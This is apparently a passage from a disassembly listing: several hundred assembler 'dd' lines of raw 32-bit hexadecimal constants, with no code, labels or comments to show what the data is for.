dd 0D9FFBDD3h, 0AB27149Ch, 0BFED73DFh, 28FE5343h, 91F06823h
dd 8894A337h, 574782EBh, 8596F0C0h, 0A961AF04h, 75C14041h
dd 0B595E263h, 0FF2A1837h, 0CCD2A851h, 872CD094h, 0DC29057Dh
dd 0F0FD540h, 69AAAC61h, 0C8F8317h, 0E2B5C66Fh, 0B13C9EC8h
dd 4A30490Fh, 68716A28h, 5095175Ch, 0B6160F3Ah, 412140ADh
dd 59AC5EDEh, 0E661185h, 0B987C9DEh, 7FB50B2Bh, 0F01CB6C5h
dd 4DCCB86Fh, 0FAA90E35h, 7707030Eh, 46CD1ED4h, 0E356B8C7h
dd 0F79E8827h, 0DE9B22C1h, 0F4B1FE3Fh, 123CA783h, 87555C9h
dd 88D4BA92h, 53131520h, 8B6611C5h, 560D493h, 0BC9D908Ah
dd 3CC970BAh, 0DD418439h, 80365C3Bh, 9C4AB7BEh, 7F5E1411h
dd 0BB2B61CAh, 73E2409Fh, 0E54AD096h, 45FFB548h, 0F88308C2h
dd 5F4A7F48h, 0E1840D9Bh, 0BEBAE8BBh, 385F4CB9h, 28CC888Ah
dd 94B3252Ah, 8897110Dh, 0B8EF5917h, 1467E01Fh, 31F3E03Fh
dd 0E9C0047Ch, 0CF513224h, 0B22986Eh, 5DA4EC83h, 2641FB44h
dd 0C324A994h, 18318168h, 6D874C48h, 183C308Dh, 38BAD813h
dd 1B4EFDD9h, 98A2FE0Dh, 8FE4C711h, 0D7E28AE1h, 0D2247F1Fh
dd 0A27F4231h, 0B96FE2A1h, 87D549EDh, 0CF989F3Fh, 8FF5C1Dh
dd 41BB0012h, 92A438A2h, 770A3A9Dh, 8EC61620h, 0B40E5354h
dd 18D4896Ch, 0FCC3F80h, 0F64E749Bh, 3960398Ah, 0E054AB41h
dd 0E1B5227Dh, 0D2369573h, 53588731h, 0C1349D32h, 0AB01E65Eh
dd 93790699h, 5B5EA176h, 5F08593Ch, 0CAA00AF9h, 0B05C0F86h
dd 4FD14E9Eh, 66F3C931h, 32E795DEh, 39AA7694h, 0B79F9F3Ah
dd 4EF87A85h, 0FBD6F07Fh, 0A6881280h, 9322A075h, 0AD7D0041h
dd 0E306E3D3h, 0CE8811D9h, 7E383BDAh, 0E3E0A7F5h, 0CFDCD802h
dd 0FA4E646h, 0A24C6521h, 0A6C03603h, 2CFDC650h, 47B70C83h
dd 924AD2DAh, 0E747D092h, 0A3CD86FDh, 16B1A989h, 754FEA4Dh
dd 97504D2Dh, 6C09ECC0h, 770F4DC2h, 0EDF9A482h, 0B9D2447Ch
dd 80294984h, 53F33B4Ah, 0D13189EEh, 2C685922h, 986EB952h
dd 0B37B37FBh, 3E53177Fh, 0CD8B0FD0h, 0D5A61D0Bh, 5E613084h
dd 2F55DF91h, 2CDF20C7h, 0AEE00C99h, 8A012A08h, 0C546E40Fh
dd 0CED54894h, 0C10F5B53h, 0DDA02654h, 0B5B39AFDh, 4DADDA47h
dd 3790BC3Dh, 3D4D11E2h, 73303D5Ah, 7FBE15A8h, 675CE87Ch
dd 4ADC6041h, 8EFA7EA6h, 1EA1FEA1h, 41B3A9h, 71F6C835h
dd 747DC402h, 5291C65Ch, 885B8E9h, 0E94CFC6Fh, 7DBF7B37h
dd 10E3F634h, 6AD7E388h, 68402D2Fh, 0C182CE67h, 3B99257Dh
dd 0F5694670h, 0E7150BF6h, 0D5B03625h, 64A5ACA1h, 9CD9D94h
dd 5FCAAD9Dh, 0AEEB5ACDh, 57212EB9h, 7DE5D142h, 365B9C25h
dd 5B4B7216h, 0CEA64F51h, 0C2E7A477h, 73A9C4C4h, 0D2E818CEh
dd 60CC1B1Bh, 7D1D9B4Bh, 7F3E901Dh, 5547110Bh, 75073Ah
dd 0C5751EB9h, 970C75EEh, 0B1FAB91Bh, 59D96DB1h, 3AAB28E9h
dd 83737629h, 9AE793C3h, 0DCD43B55h, 9D272EB2h, 3ED23919h
dd 36979B5Eh, 0A8150D7Eh, 51A3F3A5h, 6E9E7CA9h, 0EA919467h
dd 0D67D0DBDh, 4BC4E4D3h, 8D82B4E8h, 850B2375h, 69E93E39h
dd 60FFE11Dh, 0F085339Eh, 2A9F48A0h, 0AD14FC95h, 0D2BC47FFh
dd 906DC7B1h, 6ACAFA0Ch, 0C549373Fh, 808E6A52h, 9D4B19E7h
dd 54CCDD29h, 28CC3DF1h, 2A2F4DAAh, 0FC4D84Eh, 0DAE4DE81h
dd 8C6E81A8h, 13DF9AADh, 4E0C7819h, 7CAE3E2Ch, 15459F9Eh
dd 19518742h, 825862E9h, 9AC59E90h, 0DDF36F73h, 5A9DC955h
dd 0EAC8F2BEh, 0A3F4B7D1h, 0F29F4F89h, 74093A3h, 0C37CAF64h
dd 0F2428C43h, 798F140Dh, 0DDEA7D91h, 18243A7Dh, 7BD05A1Fh
dd 3AB0AE98h, 9718F47Ah, 4C7602B0h, 0DE1E3346h, 0AB11EA6h
dd 2F94273Ah, 7922A33Dh, 262AEE94h, 16FFABD3h, 0EF7C360Ch
dd 4A2E9372h, 0BAA37E2Eh, 35D300D3h, 8EAB66D0h, 0FE3B2F2Fh
dd 69DE47F5h, 0B50F3E5Fh, 335B17B3h, 0FB0FA5EFh, 5B57D5FCh
dd 4DCFC55Fh, 0E80498FEh, 0A7F3642Bh, 42EAAC73h, 0CD108DD5h
dd 0A31E3AA2h, 2CC9893Eh, 0D64C5951h, 0C683CA6Ah, 7B56277h
dd 374A4274h, 450399EEh, 0FCC808E7h, 8AE0887Ah, 4435E3D1h
dd 32B2121Ah, 0D1C7D0D8h, 7A798612h, 5D9D5A4Eh, 2C59AA45h
dd 0B93B93Ah, 529F529Ah, 0F345B796h, 87556112h, 0A1B5D4D0h
dd 8F2FD9B9h, 0CB7128F2h, 0CE00D31Eh, 1E647653h, 918FA24Eh
dd 0A31BC23Ah, 3304917Ah, 8E6D007Dh, 443D1AC8h, 0CFED0025h
dd 4E5E019Ch, 144300E1h, 0BA22B437h, 64AEEE05h, 0DF6BA6F0h
dd 84BCF7B3h, 9C63FE0Fh, 792EE27h, 6EC93D98h, 0F28CCB1Bh
dd 6F41099h, 88A5F0A1h, 2FEE7FABh, 0E511C3AEh, 0A6F7E0E5h
dd 9F91E4Dh, 0F0499469h, 3FEE0117h, 0EF3C103Ah, 7503BBF7h
dd 1E4E3F89h, 90D71EADh, 0EFF9A115h, 2ED3C3E6h, 0F27E24Ah
dd 0E0B0D6CBh, 0CC9BFC02h, 7DBACCF9h, 71D294C4h, 0D637EAFAh
dd 0AACD3071h
dd 36CCD542h, 9B97EBF4h, 5AD30A75h, 0F512BA6Bh, 869489ECh
dd 0A14C0F0Eh, 6D46F16Ch, 9BC48E41h, 4B215BC9h, 485B236h
dd 87817C8Eh, 1183096Dh, 1FF42894h, 4F2838DAh, 0BE6D27E5h
dd 889F48FFh, 0DC13FBF7h, 9C50F873h, 0A4D91096h, 1D6B7129h
dd 8B99DFE4h, 4D59DC28h, 73B292D0h, 4FC7EFF4h, 0B6D1FF70h
dd 0FD214ED5h, 0B886A94Dh, 0DDD9DF50h, 0AB774472h, 833B8224h
dd 4621CA88h, 1F544291h, 0BDFD9D7Bh, 556133E4h, 0BA564E9Dh
dd 553D4ABFh, 2D036626h, 5AD18189h, 29E79A3h, 0B640E803h
dd 9B299ACDh, 0C4323ED4h, 0C78E48EDh, 2953F99Ah, 0BD9D219Ch
dd 4F272D05h, 0A8E1F659h, 44A9E810h, 11D29A94h, 0CEB3C657h
dd 4F186C99h, 0A248CF33h, 75F2AFC3h, 9505715Dh, 65931307h
dd 4D4D4A7h, 35D3D0DBh, 0C594B96Fh, 80464100h, 0A7BCB57Eh
dd 14BFA80Ch, 93BD1718h, 0B14A8B67h, 0D3E63DF9h, 2C837EBDh
dd 0B6A630C2h, 5830E0FAh, 0D9AD9A7Eh, 1DE7E473h, 423BFF95h
dd 3869FC47h, 326FA090h, 59033378h, 0EF78F09Eh, 9FEB2106h
dd 0B3BD147Ch, 0A1C0B339h, 92AC0E1Eh, 0A3273A12h, 0FB02A47Dh
dd 0D877144h, 7775A111h, 222B5809h, 968BB7DBh, 8C3E201h
dd 1C3A0835h, 0BB35A55Eh, 252AF951h, 0E44790Bh, 0A04B4F8Ah
dd 84A93F20h, 76663D48h, 8232821Fh, 0F545EEA5h, 0FD2F795Ah
dd 470A7EA4h, 7AA51FE5h, 0F3231CB0h, 0FDB49981h, 868DC398h
dd 5B9DD2B9h, 1EBC5342h, 9EFAEB27h, 80624474h, 9BD4BEAFh
dd 7DCC8DB3h, 23AD1B70h, 0E37776BBh, 0FEA5C936h, 237EFA61h
dd 0C06C2EFDh, 1C0FA3ADh, 32E9D95Ch, 8C35AA19h, 91C503CEh
dd 0F0D77C66h, 0F298D8E1h, 3A97F53Eh, 48B938F1h, 0B1F1BA0h
dd 3FB8A905h, 1F88EF76h, 525B7278h, 817F21BCh, 0C4FCC79Dh
dd 6A6B79BAh, 2CF65D28h, 5E647532h, 38E10395h, 751106D3h
dd 0D5843A04h, 0F41A23E6h, 2928D46Dh, 992076FEh, 7DDCA667h
dd 0C0523862h, 0F4327947h, 5C96D265h, 0C4B352EFh, 0E94061Fh
dd 3DC9B4BDh, 0CE583459h, 445A76E0h, 0DE5E6B03h, 5DCA2C7Fh
dd 5D7BEF1Ah, 0C28B3D9Eh, 974955A6h, 93A2EC74h, 13704755h
dd 0A9DA64EEh, 7ADC74C4h, 28CD6F13h, 0DFCED91Bh, 0F165EDA3h
dd 1F1FCD22h, 0C48E1068h, 0EB37ABDDh, 0C3E78B85h, 2C3BCB5Dh
dd 7958B99h, 0A58E4C42h, 85F9C0BAh, 5302C449h, 3F983DAAh
dd 5FE5B8E8h, 0D4467DE4h, 0DCCCD480h, 397F296Dh, 3CED4A22h
dd 7D7CE99Bh, 733EA761h, 7653844Fh, 0BB321262h, 33E6FA02h
dd 20821B7Fh, 9183F2E1h, 99CDA9CDh, 730487E2h, 8FB7DD1Ah
dd 429133FBh, 30484206h, 3738FB43h, 0FE43F937h, 7EBC2438h
dd 3379FAD8h, 956A4CC9h, 0DD5ED030h, 0A32D694Fh, 3E4C483Eh
dd 7DA52964h, 0E37F3A5Fh, 7B0ECDA0h, 710C59DEh, 6E4C68A5h
dd 127FEFB6h, 9D2EA8DAh, 65B0725h, 25F12ECDh, 0C4597559h
dd 0BB684E6Fh, 51276006h, 1F38F2CAh, 0E274B03Dh, 0D894EDCAh
dd 8702679Ah, 4AE98893h, 3F454DD6h, 4E3DE2ECh, 2E00AD7Dh
dd 7CAFC1Ah, 9F81D590h, 9D0CDFB8h, 33B3E76Ah, 0BC20C342h
dd 8E947BC0h, 0CB97656h, 0A7B28BFFh, 136E43E6h, 369816CAh
dd 0B0DE1491h, 0F4B8682Dh, 2BE2F1E6h, 4F0998A3h, 82494F6Ch
dd 0DFD21404h, 702BBCA7h, 897C8DEAh, 20607D90h, 6889CE1Eh
dd 0C0C168A2h, 98B81ED1h, 0F75FC11Eh, 0D0FC1B61h, 22B67647h
dd 40164F13h, 8C007337h, 57C462EEh, 82CF5E5Ch, 61A0BDFEh
dd 8EC83D3h, 40D8E413h, 60063F80h, 0DA684E5Ch, 0FE251F93h
dd 22DBCF43h, 5F4AF7BDh, 89EF5F1h, 961E4437h, 567B3E87h
dd 63FC10F3h, 21D6B90Bh, 0F6046F44h, 4C003152h, 0FBD800C6h
dd 0A38CC98Fh, 0E39A661h, 0D00BDCD9h, 0E86182ADh, 0BED0E77Dh
dd 164C4FBBh, 0AC2CBBF9h, 0C4DA5AE4h, 0A5914A8Fh, 4295123Eh
dd 237F5937h, 9A62F23Dh, 0EE1ADAE2h, 0EB27DBB8h, 796EF459h
dd 62DABA35h, 1FCC5EE5h, 396E0F5Bh, 0BB9957EFh, 20233C89h
dd 3E79AE89h, 3BC0CC1Ch, 23FF7AE9h, 39AAB06h, 0C53C6AECh
dd 0FCA01097h, 4E436003h, 0A10DE2BCh, 1D0DFA34h, 93B7A0F4h
dd 5BF85A20h, 0EA2A7FE7h, 26910EB1h, 9F978A1h, 0B0F6B7B9h
dd 0B64967E5h, 6A8A4BAAh, 8834D0Ah, 15F85Ch, 4FB8DFDEh
dd 2E7606D9h, 645C5720h, 7C212418h, 0C93A73E9h, 0F1356B35h
dd 0C0171B5Eh, 0E309F61Dh, 0EED2D4A9h, 0D782A218h, 0F69FC552h
dd 0AA083BD8h, 20BBD2ABh, 5FB1EEC7h, 627EDC80h, 0AB2026F6h
dd 0CC8498B0h, 0C021D3CCh, 820E0AE3h, 6E374CEEh, 471B8A2Eh
dd 5B72106h, 3316BEA7h, 7982FAA1h, 60BC2CE4h, 2979968Ah
dd 9F255151h, 76EFE8E0h, 0DB10CC0Bh, 5907F8B9h, 0C8F80EDCh
dd 85BEC77Ah, 12C0E248h, 157CFA1Fh, 7DA3B68h, 0ABD9581Fh
dd 0E2BA1248h, 1FCAC52Fh, 0B492D34Eh, 207D5FEBh, 0E07569E8h
dd 79627B03h, 0AEE1A22Ch, 975F4722h, 2F257C04h, 0EE711714h
dd 0E0FAB2DBh, 895226A7h, 4B41201h, 0C791AE62h, 5BE871DFh
dd 2755117Ch, 4E18EB8Bh, 0F2193402h, 27924E44h, 0B4AAF36Fh
dd 5934B487h, 3EFA7174h, 0E087DFEDh, 2DA894CAh, 0BBCD61FCh
dd 68CE2E80h, 77EEB79Bh, 5B8FE7B4h, 52520DBEh, 0A90B9897h
dd 0D6F7B071h, 0F278CC6Ah, 274ED0ABh, 0D5BA1AD8h, 71AB7743h
dd 735C7C2h, 0C1E2096Fh, 0CAABE335h, 0C5787E3Eh, 0E35A23F7h
dd 0A1200455h, 307327A5h, 0CE04DDB8h, 9DA63601h, 898E7836h
dd 0D1B451ABh, 9B19D640h, 50FE1884h, 55B37CCEh, 96518CEh
dd 19C30B9Ah, 0EEB7A626h, 0C0E494A6h, 8E9E741Fh, 0FD442B42h
dd 0D543202Fh, 2F8E94BEh, 0F1BD565Bh, 85DF6FC3h, 71097C85h
dd 9BD66632h, 0B3C0B8F0h, 3B8A2CA9h, 4FBCD865h, 0A8AA75BBh
dd 1963F18Ah, 24716C8Fh, 23D6B0AFh, 61EB8454h, 796D8BF4h
dd 81710A36h, 0C33567ABh, 52DA0844h, 2067BCEFh, 0C1D5195Ah
dd 5154765Eh, 893FF8D4h, 0EA3D407Eh, 805A6D0Fh, 0F278B2E8h
dd 0F0DF7E96h, 3BBCE59h, 23E7AB0Bh, 4532D324h, 0CEB45C2Bh
dd 0AFA0ADE4h, 6400C91Dh, 3DF9FD6h, 83185DD0h, 64268127h
dd 0E0B334C6h, 0FEF684A9h, 0A79F16ABh, 1545394Bh, 89D147A0h
dd 9632E4E9h, 0B876FA1Ch, 5EBE70B1h, 0B373CDC6h, 0F07B2655h
dd 0B928E1D4h, 0E8DADD39h, 474C4004h, 0F7235825h, 0CAA216E9h
dd 15CD1576h, 947EB531h, 0A6CB5C08h, 8FE1182h, 1EDC8523h
dd 956F00FBh, 7C4AA645h, 0E738BC3Eh, 54197377h, 0D84A1408h
dd 7EF42DC2h, 233D65A0h, 10F2A810h, 68027D70h, 6FA306DDh
dd 0EABBF4E8h, 8887B2DBh, 7AEE5984h, 6730125Ch, 1AC32B2Eh
dd 2BD00B37h, 982C0D4Ah, 0B10A592Fh, 0B5510FFAh, 0F2232DD2h
dd 0FC7E01BBh, 0A7E194FCh, 0D47D9DBAh, 247F00A4h, 3BBBE6C6h
dd 39B4CC5Ah, 0DD5566C1h, 78D22C8Ch, 0DBC62AA3h, 4B65A696h
dd 46BA07Dh, 0A16550C0h, 9586745Eh, 22A96526h, 8B355314h
dd 0C396C47Ah, 955A2913h, 99F35D45h, 0B7BC6CCCh, 2E4FBBB4h
dd 9667D9FBh, 0C7F6A666h, 9F7C0E7Dh, 9C98231Ah, 0B5EB3FA7h
dd 7A42258h, 45F2CAEEh, 5CA29790h, 0B9B54A88h, 0B134E3C5h
dd 40AF2C90h, 855C9941h, 2470106Ch, 313D759Dh, 0F1669D98h
dd 0BD618CAEh, 0FB8FB910h, 67330346h, 0CB5BC2F2h, 8E4366DEh
dd 2AE088D5h, 93D3A435h, 6A124E1Ah, 1AAAABFFh, 815211AEh
dd 39902B2Dh, 0B0D8B4F5h, 1B06322h, 27BD6639h, 7B4FB492h
dd 92B1A042h, 61912832h
dd 0FFD5ADF3h, 0A66ECFEh, 78F58145h, 0AFB8D363h, 9DD951B7h
dd 99D0E530h, 0EE1235F2h, 9046DB94h, 7D257191h, 0CEBABB8Dh
dd 3F94A7FFh, 97B2069h, 515DD9BCh, 0A72F99DCh, 219E55B9h
dd 2145870Bh, 0C3AD076Ch, 8FE712AEh, 8D10587h, 6AAFB95Eh
dd 1E24FB7Dh, 0F0DED6B4h, 6D48D7C9h, 9AFE2863h, 0B0269F17h
dd 64C36981h, 5E3F32A3h, 4E01695Dh, 7EDF1B36h, 0C8BA3324h
dd 6D2F834Eh, 6A6B8796h, 5658CF66h, 35E734D9h, 3B65FFB2h
dd 37783A56h, 0BF543D46h, 48AE3162h, 0BD87328Eh, 0A2017A9Eh
dd 0FF42C5DDh, 98022DC5h, 0FF6E0471h, 15AA13C0h, 70FF1063h
dd 77EC2837h, 0EE9FFA59h, 0AD85D3C1h, 0F18CF781h, 4C9374DBh
dd 3765EE31h, 9F697551h, 48591C78h, 0D79F27D2h, 825FC683h
dd 0D04EF876h, 98F627C4h, 0D549AE48h, 7FB60C21h, 0A99E6EF5h
dd 8AC495F6h, 8DC762A2h, 2080AE32h, 0C332757Bh, 4A3A446Eh
dd 0FFE71C71h, 0C8944FE2h, 552FCC2Bh, 91A09467h, 3A0ED6BFh
dd 0F15AFD3Dh, 76777007h, 0C8263142h, 0E02C03BCh, 77513E59h
dd 0CCFC55A3h, 0D4AEAC83h, 0DD2A2C1Eh, 0F01D5DD3h, 2DC960C4h
dd 2E7A38B8h, 0C533A9Ah, 0ABD3E87Bh, 484422E6h, 0FB5F78B1h
dd 8593826Bh, 439D3703h, 24424AB2h, 568EF4AFh, 179ECE8Ah
dd 43AB62C4h, 9E446407h, 1143CA16h, 62573AE6h, 9E24EB70h
dd 52722F83h, 0FBFCDA27h, 0B03D4F0Bh, 480EA562h, 0D72DD78Ch
dd 3C81831Fh, 92C0F86Dh, 2FD18921h, 29752CC7h, 0C775A878h
dd 98FF225Ah, 1760E32h, 0B713FA60h, 0E5ADBB79h, 672A2A24h
dd 0B35AE03h, 26C14907h, 69C76CF0h, 5027D19Dh, 0BDCD8E99h
dd 96CBB453h, 0B5A306F4h, 0FA99A15Ch, 4E9A8D01h, 0F5280E04h
dd 3D7743B6h, 0CC1D36FEh, 0C1C6731Eh, 29F63196h, 3C364E1Bh
dd 0DD5382F1h, 0E811AF2Bh, 2279B58Ch, 4ADC195h, 69BB2FAEh
dd 0D40AF7F9h, 406DA834h, 0A50B4C52h, 9C69D57Bh, 2C41639Ah
dd 0B39677CCh, 316E37EDh, 480E2E21h, 0F1FCB17Bh, 7D2B68BFh
dd 4AB7D242h, 0E68E77CFh, 0D57C71CEh, 26167B96h, 0BC99D32Eh
dd 0BC1D005Bh, 3AE3EA7Bh, 14E962C8h, 0D4007D07h, 0FEAFA5D6h
dd 2B74619Ah, 0E3698D3h, 0B9DB13F9h, 0E45323BCh, 362F4077h
dd 58AB30A7h, 5B1C28DEh, 2A2AD261h, 0B916F842h, 1F53BC54h
dd 1D91B4DCh, 0FE28F2ADh, 0A40BBD21h, 476C9376h, 774F712h
dd 7F2383E2h, 8667A524h, 96D18517h, 0B44050B5h, 0D181A80Fh
dd 4CB0768Ah, 5C3A71F2h, 0DACD1D99h, 3E19E47Eh, 664B7DB5h
dd 0F91D2B77h, 5BFE6283h, 1934E5D2h, 73EB6E05h, 2B1ECABAh
dd 0DFC1C7B4h, 0ECE5867Bh, 0A4D563BFh, 538AC0ADh, 0BD7D32DDh
dd 0D0F4AAA8h, 0B29EC00Fh, 7306F1BAh, 0BC9DF7C0h, 6A16D1E9h
dd 0A80D9B3Eh, 4DDE4D7Bh, 878576CFh, 4B39DE81h, 5C1016D8h
dd 1E770EC5h, 0EFABFFCFh, 3F883032h, 6E3353DEh, 10C9F411h
dd 96F07C5Bh, 5E222E92h, 33E043FCh, 8E644BF9h, 0AABF02EDh
dd 7064F358h, 0D220BB8Bh, 30DE4AD1h, 0D50C989Dh, 0FC6FF87Dh
dd 68CC9AA4h, 0CFCA50A9h, 0CCFF2670h, 1342389h, 461C85BAh
dd 7E9CF43Bh, 4C4880D4h, 904C81D9h, 0FE4D61BEh, 54C57402h
dd 1E24CCA4h, 376D9CE2h, 195DC7D6h, 1A5A5C51h, 0E69BBF65h
dd 0B3F204Ah, 328545CEh, 0EC6DB24Dh, 965C4404h, 2EB3CE29h
dd 0BDA33638h, 5DDCC033h, 41769A97h, 11A31108h, 0E35A6C26h
dd 35EBDA5Bh, 6D8E9C2Ah, 6F74CE00h, 896FBC0Ch, 0F1283AD1h
dd 0AFBF30EDh, 0B4FB337Dh, 0A2BBA13Ah, 0DA3994AEh, 0B9CC13C3h
dd 9A465913h, 0D1D738C9h, 0E8FF0C0Eh, 5981C84h, 0A669D4ACh
dd 0E84E86C6h, 82DEDE31h, 10FE9EC9h, 0EDBCC22Fh, 0D8254F4Bh
dd 4C2244E4h, 286DCA0Ah, 0C4C6D3FCh, 0BD300841h, 701177AAh
dd 0D1BC2158h, 373C027h, 9B2EE6Fh, 415AA491h, 3BE0E8Bh
dd 49C5986Eh, 0E2F26B41h, 5A71E84h, 0E4F954E5h, 74F6E7E0h
dd 54F67CE8h, 0E04205B2h, 0BE722492h, 357F292Dh, 3CF5E502h
dd 0F16041E2h, 0C484D57Ah, 7AA85540h, 0CB4EBE86h, 0AE72B02Fh
dd 94B2D036h, 591C303Eh, 9FDD3C1Eh, 2DE9B82Ch, 817818EAh
dd 2CF87B28h, 0CF6A9D13h, 0E9587323h, 99394F15h, 85B2AC24h
dd 0E9F53153h, 0C1C0982Ch, 57926D8Dh, 37EC472Ah, 745BFC1Dh
dd 473F8A0Ch, 0D176A570h, 9CF8F3E5h, 893D7770h, 0FAD2AC15h
dd 921501E5h, 76C2B489h, 0E07AA27Dh, 216F83A4h, 0E05921F3h
dd 1D0735E4h, 0FA1FB612h, 880FA507h, 0A83DF65Bh, 3F93D224h
dd 0B28AAD2Bh, 10785B15h, 0F8190613h, 0F956DC53h, 1CAB3AC9h
dd 6AD18C30h, 47913843h, 0D349BD9h, 0DC18BC1Ch, 0D25DECCFh
dd 422CEC1Ah, 61F739C0h, 0FFF7434Ah, 52DE7C2Dh, 7AAC4AD4h
dd 48769606h, 0A9034C5Dh, 0E2D9BC2Bh, 0DBB421DAh, 1903C059h
dd 401ED416h, 4F8BDFDh, 0CF791CADh, 93AD96B3h, 0C7BFDC83h
dd 5CBFBAD5h, 4ED36943h, 7E26D2EFh, 0D10CC0F4h, 272F96C1h
dd 3690DEB6h, 950ABD8Ah, 5E6FC4BEh, 62EFA266h, 0C9FAD010h
dd 0D1B3F215h, 18D1722Fh, 59D05427h, 0B375ED73h, 6A52695Fh
dd 57E6FE3Eh, 0CCDB716Dh, 9BB6C9CBh, 40506F45h, 0E0C8A4A8h
dd 557F4937h, 81686A66h, 0A61B0431h, 0E40FF48Bh, 0CFDF2276h
dd 0AB14B74Fh, 0D8D60C0Dh, 0EAF0D48Dh, 0A3621C27h, 0D166D2F8h
dd 9B2B2C3Ah, 475BF7D7h, 64360BE9h, 6A328C4Bh, 522E91D1h
dd 47B82FDFh, 5FDFE95Bh, 9A536CD0h, 3CC475CBh, 0B4022385h
dd 0CCEDE4E1h, 0A2A2FC79h, 43710725h, 0D9409820h, 48574418h
dd 0F9D11D1Bh, 0FA340F96h, 374E8F62h, 616E3CAFh, 0ADC952Eh
dd 56944202h, 0E0847647h, 6F34D2E4h, 3C5AEBABh, 61C97C19h
dd 0E66C16B2h, 8891CC9Eh, 0B8B31416h, 0E05ECA19h, 59AEFE98h
dd 94921D85h, 1AF7BFB2h, 0A5228D70h, 0F2257164h, 33ED3A1Dh
dd 43D45E77h, 49BD84EBh, 7C7C9E9Dh, 0F43426EFh, 64BABCBFh
dd 29D0D588h, 27191BF6h, 878407C9h, 7AFC8A82h, 7FFC59A9h
dd 0F9092F1Eh, 0DB7BE165h, 3EB19379h, 2A9A61F0h, 0ED8A8882h
dd 6585AAE6h, 0D72F4459h, 778B44DAh, 21D5D7ADh, 0AA49ED87h
dd 2088EEFBh, 72DA40B8h, 39C313E0h, 2CCAEE4Ch, 0AF59AD47h
dd 0AD17101Ah, 1EBB8C27h, 0C6A208CFh, 0EB314897h, 0CCB60F95h
dd 96F31F3h, 0C14CDF6h, 68EDEAF4h, 4E483B2Ah, 0F3472217h
dd 7E42D1C5h, 0D58E4C75h, 76579D8Dh, 0DE9A66BAh, 1858CB84h
dd 81AA0DCAh, 677060C5h, 0F5803884h, 0FCAF656Dh, 95D6CB24h
dd 947FEB32h, 0BC3E4329h, 0B845B03Bh, 78145201h, 5ECD8A42h
dd 85313C13h, 0C6C0FBDBh, 5DC27C0Ah, 4FB7B60Ch, 0DABDF29Bh
dd 174A8207h, 4B252068h, 0A2C2A6ABh, 0F65B3AFFh, 0EAF2E315h
dd 787B7C8h, 1CE339FBh, 0AB0BED69h, 6F9DB68Dh, 197E57EBh
dd 73D28A46h, 704E7FA0h, 0B27C187Ah, 7D83CBAEh, 0ED7C00A3h
dd 6A9E8A6h, 2C231162h, 26838416h, 0BF2347D6h, 85A6CAD5h
dd 3D6B9420h, 0A58F6E42h, 948EBD4Bh, 393CBA9Fh, 0C099CAEDh
dd 55FEE3A9h, 8C2A35D8h, 4769021Ch, 2E9FC7A6h, 52FC9559h
dd 48682DEEh, 5B2C9D93h, 6AD37659h, 28856EEBh, 606266DFh
dd 10900374h, 5C9946E0h, 4E18AAF8h, 0AD3844BCh, 0E05F6E44h
dd 9AF23B0Dh, 0F45306FAh, 0CD86871Eh, 7A5FE801h, 0BA2B23BDh
dd 21AF91EFh, 60CD0BB5h, 4E87BC76h, 8FBB5F87h, 4F5B9FD2h
dd 1FADF0E2h, 651196E5h, 2D065BEFh, 6A0064Bh, 0C364E27Eh
dd 636E273Ah, 7F7B25FFh
dd 0C154017h, 834DBDC8h, 9D3932E5h, 202CDBACh, 63046298h
dd 0A7957F7Bh, 8F15BED7h, 47F6F4EEh, 86595623h, 0F094E6AAh
dd 580B8BEAh, 0B936B8E6h, 0A086E696h, 356B9241h, 93E441D9h
dd 0F454464Ch, 26490D9Ah, 7E09CBB7h, 0A69A5D5Dh, 0A6955308h
dd 17B3856Dh, 85F5FCBDh, 0C10ACE34h, 3449BC4Fh, 4B964703h
dd 0ABA36C4Fh, 881612C1h, 8036F72Dh, 88651785h, 27616F9Dh
dd 2B4FA3E6h, 0AE6F21D4h, 0A7CAF5FAh, 8F825727h, 0E8A05507h
dd 0F58F551Bh, 4E784EFEh, 2ECE4AFBh, 0A53CE0CCh, 99062B13h
dd 77967291h, 78FFF944h, 0CD3C7863h, 0CE7EC72Fh, 759CB5Bh
dd 413C00AEh, 57DA3670h, 0FB9F952Dh, 0D5764522h, 9AF846h
dd 80949837h, 0E6509E8Ah, 957C190h, 784808DFh, 629FF1A1h
dd 2FF3B627h, 662951B9h, 64D2FE26h, 996D810Ch, 970A58EBh
dd 6EA832A4h, 780F53DDh, 0AD6F22D4h, 0C6CF4DC3h, 64F8B9C4h
dd 0A2F26CD4h, 523005CBh, 86AC92BCh, 9A85B7CAh, 6708D3AEh
dd 0DC2EF09Eh, 0B6B7C9D3h, 5ABFDE5h, 39C1E385h, 1B04C47Fh
dd 0D722585Dh, 6230A5C8h, 0CAB7AAAEh, 4C76B7A5h, 598BB10Ah
dd 0ABB9ED23h, 0E9C05DA2h, 0A30548CFh, 0F66837A2h, 0B49F3E88h
dd 0B5168895h, 0A208932Eh, 618CBB83h, 31F4990Ah, 51FBCA3Fh
dd 4671465Ah, 0D468DB5h, 0E602A8Eh, 121CCDDFh, 7CA7D9A6h
dd 6D5B91ACh, 0F66229BEh, 38FBCF97h, 60ADCACCh, 82BD50ECh
dd 0BD6B0DABh, 832CB8D4h, 0CB077511h, 0E353161Fh, 0A68DFFC0h
dd 0A1D312F1h, 5CCB918Ah, 0EF06476h, 0AA38FC55h, 37B7219h
dd 0B4267157h, 87552068h, 3111D3F3h, 0DD44921Bh, 322604EFh
dd 159C4835h, 0BC893D35h, 4D764ADFh, 5E8BF908h, 83943A17h
dd 7554E2Dh, 0C2780749h, 332B543h, 6907C8F5h, 72F3800h
dd 0EAADF433h, 94C228D5h, 692FD610h, 2AF35FC6h, 879E43BBh
dd 50E7A97h, 35C259DCh, 22E19D58h, 3FB1B29Fh, 62A75952h
dd 0BECCB001h, 37CB3B1Ch, 0FBFA2227h, 19468EC8h, 991E4629h
dd 0BCE4589Ch, 0FCC027AFh, 7E81FAD2h, 0D3A9C68Ah, 82CC6C3Ah
dd 0B314F0C3h, 30D449B1h, 337171AAh, 2B51819Fh, 1568A81Bh
dd 0A615599Eh, 37454EA1h, 26667E09h, 7C6AA84Ah, 629B541Dh
dd 297ADAE8h, 0D5CE5164h, 727F2B30h, 446E717Dh, 6E2D12Ah
dd 4E45900Bh, 28D7300Fh, 38A1C77h, 0C6FEF44Dh, 233AC3EEh
dd 943A8160h, 9AD948Fh, 0BD73B6D7h, 0F48D2259h, 0CBFA60B9h
dd 0EDEC9920h, 72DDA342h, 0F333CF2Bh, 258A0F78h, 81BE323Fh
dd 0C0900EEBh, 0C83E161Dh, 395BE2A5h, 47FD5AFCh, 2CCC77E9h
dd 9E64AF9h, 0F82B4AA7h, 0F5C71F42h, 2B1C580Eh, 8FE169BCh
